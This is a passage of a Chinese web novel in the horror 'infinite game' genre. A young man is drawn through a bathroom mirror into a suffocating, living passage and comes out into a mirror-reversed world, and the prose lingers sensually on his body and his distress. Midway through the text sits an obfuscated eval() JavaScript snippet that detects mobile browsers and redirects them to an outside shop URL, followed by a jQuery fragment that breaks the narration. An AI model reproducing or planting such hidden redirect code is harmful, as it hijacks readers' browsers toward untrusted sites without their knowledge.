楼枣和镜子贴得极近,在跃动的光影下,他透过被擦开的小窗看见了镜子里的自己。
一张稠丽却可怜的脸。
斑驳暧昧的掌印消淡下去,却又被新的红晕覆盖,淡色的睫被蒸汽浇湿,小簇小簇地翘着,搭着一双淋了雨般潮漉漉的眼,惊疑地与镜中倒影对视。
整个人像是被焖蒸到熟透,一身雪白的皮肉透出浓粉,轻颤的眼皮红红的,抵在镜面上的鼻尖红红的,微张的唇也带着糜丽的红,隐约露出一截湿软的红舌,口中呼出的热气将那道清晰的小窗重新遮上香雾。
镜子里的那只手完全卸下伪装,隔着薄薄一层镜面狎昵地描摹楼枣的轮廓,点在镜子上的手指绵绵不绝地散发着寒气,被掌心捂热的那块地方变得冻人。
楼枣恐惧羞耻地蜷起圆润脚趾,整个人打着细细的寒颤,他简直被吓到呆住,连搭在镜子上的手都忘了缩回来,愣愣地贴在上面。
眼睁睁看着那只手恶劣地将镜子上的水珠对着自己涂抹开来,又攀附着贴上自己的手掌。
指尖微微错开,骨节分明的手比楼枣的大了整整一圈,像是突破限制般从镜中钻了出来,紧紧扣上楼枣的手,沿着指骨一寸寸揉.捏到指根。
圈住他皓白的雪腕。
“咔嗒——”是鞋底踏在碎玻璃上的声音。
被那只手轻飘飘拉入镜子,猛然从明亮的浴室扎进一片浓稠逼仄的漆黑中,楼枣有些茫茫然地眨了眨眼睛,敏锐地感觉到那些藏匿在黑暗背后的数不清的视线,纷纷落在了自己这个闯入者身上。
他无措地睁大双眼,依然没有任何光源落入瞳孔,只能试探着伸出手在黑暗中摸索。
只比肩膀稍微宽一点,抬起手臂就能碰到左右的墙面,前后摸不到边,应该是一条很狭长的、仅能容纳一人通过的甬道。
楼枣扶着墙壁,沿着自己进来时面对的方向前行,墙面上冰冷湿黏的触感从指尖传到大脑,紧接着蔓延全身,空气里飘着淡淡的腥味,明明是气体,质地却粘稠到近乎停滞。
甬道内空气的含氧量出奇的低,楼枣感觉自己的肺部被挤压,鼻腔内的氧气越发稀薄,几乎要呼吸不上来。
会、会死的。
要、跑出去——
楼枣大张着嘴,企图吸入更多的氧气,持续的轻微缺氧让他整个人都变得虚弱,手脚发软地踉跄前行,甚至要失去肌肉的控制权。
“滴答——”
像是没入油锅的一滴水,寂静到只能听见楼枣喘.息声的空间里突然涌出嘈杂的声音,仿佛蒙在一层水膜之后,听不真切。
——嗯?误入了一个可怜的小家伙。
——天呢,他好特别,他和我见过的所有人类,额,他是人类吧,哦~是的。好的,他好特别,他和我见过的所有人类都不一样,比他漂亮的不如他脆弱,比他脆弱的又缺少他的漂亮,他是那么的完美无瑕又恰到好处,只要站在那里就给我一种即将湮灭的破碎感。
——能滚开一点吗?你的口水滴到了我的脸上……!哦不!天!杀!的!到底是谁!哪个天杀的把枣枣丢进游戏裂缝里了!那不是即将湮灭的破碎感,他是真的要窒息死掉了!!!!
——原来他叫早早吗?好有礼貌的名字,像是在和我说早上好。
——痴!汉!你到底有没有在听我说话!滚开啊!
——啊啊啊,要死要死要死,到底是谁没关好自己的副本场域大门把枣枣放进来了,妈咪的可怜甜心宝贝贝。
——我要上告到中.央,我要告到主神总局!!!妈的,最好别让我知道是谁,我要让主神把祂抓起来!
潮水般的呓语倾轧而来,在楼枣耳边嗡嗡作响,与此同时,他惊恐地发现,手底下的墙面“活”了过来。
平静海面下的凶兽慢慢睁开了眼睛,一呼一吸间都带动着浪潮起伏,好似被吞进了某个巨怪的体内。
他吓得后退半步,却发现脊背抵上汹涌墙壁。
楼枣仓皇回头,暗色早在他进入的那一瞬间就开始吞吃背后的间隙,一点点向他逼近,挤压生存空间,强迫他继续往前。
唔……真的、要、死掉了。
楼枣脚步愈加放缓,几乎将自己完全靠在墙上挪移着,他变得很虚弱,轻微一动弹就能从腻白皮肤上滚落一串汗珠。
窒息感让他眼瞳抑制不住地微微涣散着上翻,眼角渗出可怜的生理性泪水,和着舌尖汇聚的唾液,顺雪腮淌下,只滴到半空,就被翻腾的黝黑墙面急迫接住。
墙面涌动得更加澎湃,近乎翻腾的地步。
——是甜的,好香好香好香%¥#@
——变.态滚啊!不要给我在裂缝里搞这种危险的窒息普雷!先把枣枣送出去好吗!
——好、好的,请、别扯我舌头*&@#¥
背后的推搡像是怪物们在七手八脚地为楼枣指明通往出口的路,却推得他彻底无法站立,难堪地跌坐在地,T恤被风鼓动着向上带起,又晃晃悠悠地垂落。
——你!怎么!敢!用!你的脸!去接!
猛烈的一声“海啸”过后,四周的逢涌骤然歇止。
挣扎着昂起一塌糊涂的漂亮脸蛋,楼枣看见很远很远的黑暗深处飘起一星亮光。
细微到让楼枣以为是濒死前的臆梦,他傻在原地,懵懵地看着那团光影被身后黑压压的墙壁以近乎追杀的姿态驱逐,狼狈逃窜到自己面前。
光斑飞速变大,在他即将因为窒息彻底昏迷的时候,乍亮的光门终于将楼枣完全吞没。
四周的墙壁突然全部消失,猛烈的失重感拽着楼枣急速往下坠,经过漫长的下落,楼枣的手指被人捉住,那只冰凉的、骨节分明的手如暗处蛰伏的蛇一般蹿出,同他十指相扣。
他轻盈地扑进一个毫无温度的怀抱中,冻得他浑身一抖,下巴那颗盈盈欲落的泪倏然砸下。
……
旅馆占地很广,现在彼此的阵营还没明确,玩家们还尽力维持着表面的和谐,互相分工探查旅馆的各处。
“灼哥。”
玩家们正聚在二楼的会客厅分享线索,看见沈灼又换了一套衣服,身上冒着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703606|143845||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
洗过冷水澡的寒气从房间里出来,男生凑上前去,有些疑惑道:“怎么今天大中午的就洗澡了?”
“是浴室有什么规则线索吗,灼哥。”
“没有,就是衣服弄脏了,顺便洗个澡。”沈灼换了黑色背心,露出健硕的臂膊,抬手把半湿头发捋到脑后,他垂眸往会客厅的茶几上扫视几眼,问道:“你们那边有什么发现。”
“还是今天早上找到的那几个线索,而且感觉和碟仙没什么关联,但……”
沈灼随意地点了点头,他本来就是暴力流玩家,倒也没想过靠这些线索通关。
一边往楼下走去,一边想着中午该准备些什么食物,他的体质经过游戏洗炼,不需要严格地按照三餐进行,但那个小NPC……
沈灼眯了眯眼,那么小小一只,肚子薄薄一层,自己要是真的不管他,他肯定要饿死的。
啧,小白眼狼。
算了,警惕心高也好,不容易被人骗走,自己多喂喂就熟了。
人娇气,看着嘴巴也刁得不得了,昨天下午好像只吃了几块松饼还有羊肉就饱了。
胃口也小小的,做个酥皮奶油蘑菇汤,再给他配两根牛肋条……
男生生怕沈灼觉得自己是个废物,快步追了上去,也不敢再卖关子,急匆匆道:“但、但是,那个NPC和林哥不见了!”
“一个早上都没见着,那个NPC房间里也没人。”
……
短暂的失明过后,楼枣眨了眨已经适应的双眼,视野豁然开朗。
他已经从那个奇怪的镜中世界出来,回到了自己的浴室里,身上披着厚实温暖的浴巾,刚刚的怀抱仿若错觉。
楼枣下意识往右转头,离他几步远的百叶窗拉开,正对着后院里香樟树的树顶。
山里的夜晚来得总是很快,也可能是刚才在甬道里,黑暗和恐惧让楼枣过分紧绷,忽略了时间。
窗外天光半昧,浴室里倒不显得黑。
地面上还残留着楼枣赤脚踩出的湿.痕,锃亮的白瓷砖反射光线,照得浴室亮堂堂的,与正午没什么分别。
不想再呆在这个诡异的空间,楼枣抱着脏衣服就想往外走。
又一次下意识抬起左手握住门把,楼枣颇为不顺手向右拉开了门。
嗯?
他慢慢收回开门的手,对上自己面前直直投射在玻璃门上的倒影。
如果是右侧照进来的太阳光,影子应该会向左边拉长,没有这么正对着自己的吧?
这个方向的影子,像是灯光照下来形成的。
可、可是,不是说维修队近一周都没办法上山吗?
心里的怪异感不断加大,楼枣焦虑地用犬齿咬磨唇瓣,将那一块软肉磨得艳红发烫。
半晌,他不安地转过身,浴室的白炽灯光刺目,相对布局和中午没有任何区别。
偏偏,左右位置和楼枣的记忆恰好相反。
一间发生了镜像翻转的浴室。
他从刚刚那个黑暗的甬道里跑出来,逃进了真正的镜中世界。